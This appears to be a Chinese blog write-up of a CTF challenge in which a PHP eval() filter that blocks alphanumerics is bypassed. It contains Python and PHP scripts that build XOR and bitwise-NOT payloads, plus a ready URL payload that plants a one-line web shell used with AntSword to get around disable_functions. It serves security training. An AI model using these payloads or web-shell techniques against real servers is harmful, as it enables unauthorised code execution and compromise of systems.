极客大挑战 2019 RCE ME

网络安全·CTF · 2023-12-03 · 500 人浏览

一、代码审计

error_reporting(0);
if (isset($_GET['code'])) {
    $code = $_GET['code'];
    if (strlen($code) > 40) {
        die("This is too Long.");
    }
    if (preg_match("/[A-Za-z0-9]+/", $code)) {
        die("NO.");
    }
    @eval($code);
} else {
highlight_file(__FILE__);
}

这次的代码很简单,不可以使用可见字符,需要使用不可见字符运算后进行RCE。

二、原理

PHP的神奇特性,允许变量的值作为变量名或函数名进行调用,且该变量的值允许运算。
或绕过
将可见字符转换为使用或运算之后才能得到的结果,这样可以使用不可见字符转换为可见字符串。

import re
import requests
import urllib
from sys import *
import os

a=[]
ans1="" 
ans2=""
for i in range(0,256): #设置i的范围
    c=chr(i)
    #将i转换成ascii对应的字符,并赋值给c
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c,re.I)
    #设置过滤条件,让变量c在其中找对应,并利用修饰符过滤大小写,这样可以得到未被过滤的字符
    if(tmp):
        continue
        #当执行正确时,那说明这些是被过滤掉的,所以才会被匹配到,此时我们让他继续执行即可
    else:
        a.append(i)
        #在数组中增加i,这些就是未被系统过滤掉的字符

# eval("echo($c);");
mya="system"  #函数名 这里修改!
myb="dir"      #参数
def myfun(k,my): #自定义函数
    global ans1 #引用全局变量ans1,使得在局部对其进行更改时不会报错
    global ans2 #引用全局变量ans2,使得在局部对其进行更改时不会报错
    for i in range (0,len(a)): #设置循环范围为(0,a)注:a为未被过滤的字符数量 
        for j in range(i,len(a)): #在上个循环的条件下设置j的范围
            if(a[i]^a[j]==ord(my[k])):
                ans1+=chr(a[i]) #ans1=ans1+chr(a[i])
                ans2+=chr(a[j]) #ans2=ans2+chr(a[j])
                return;#返回循环语句中,重新寻找第二个k,这里的话就是寻找y对应的两个字符
for x in range(0,len(mya)): #设置k的范围
    myfun(x,mya)#引用自定义的函数
data1="('"+urllib.request.quote(ans1)+"'^'"+urllib.request.quote(ans2)+"')" #data1等于传入的命令,"+ans1+"是固定格式,这样可以得到变量对应的值,再用'包裹,这样是变量的固定格式,另一个也是如此,两个在进行URL编码后进行按位与运算,然后得到对应值
print(data1)
ans1=""#对ans1进行重新赋值
ans2=""#对ans2进行重新赋值
for k in range(0,len(myb)):#设置k的范围为(0,len(myb))
    myfun(k,myb)#再次引用自定义函数
data2="(\""+urllib.request.quote(ans1)+"\"^\""+urllib.request.quote(ans2)+"\")"
print(data2)

取反变换
与或绕过相似的原理,只不过取反变换使用取反操作符~来进行绕过,两次取反即可恢复原来的值。

<?php
error_reporting(0);
$a='assert';
$b="~".urlencode(~$a);

$c='(eval($_POST["a"]))';
$d="~".urlencode(~$c);
echo "(".$b.")"."(".$d.");";
?>

由于长度进行了限制,取反在长度上更有优势,故使用取反操作。

POC

使用取反脚本执行assert(eval($_POST["a"]),构造出一句话木马,使用蚁剑进行连接。
WebShell地址:http://xxx/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%9E%DD%A2%D6%D6);
密码:a
Pasted image 20231202171339.png
Pasted image 20231202171500.png

尝试读取flag,发现flag文件只拥有写权限,不过同目录下存在一个readflag可执行文件,但是由于disable_fuctions中禁用了大量的命令执行函数,故导致我们无法在目标主机上执行系统命令,采用蚁剑自带的绕过脚本进行绕过。

Pasted image 20231202172319.png

RCE 绕过 CTF 2019年 500 Views
本站已在互联网运行了 Theme Jasmine by Kent Liao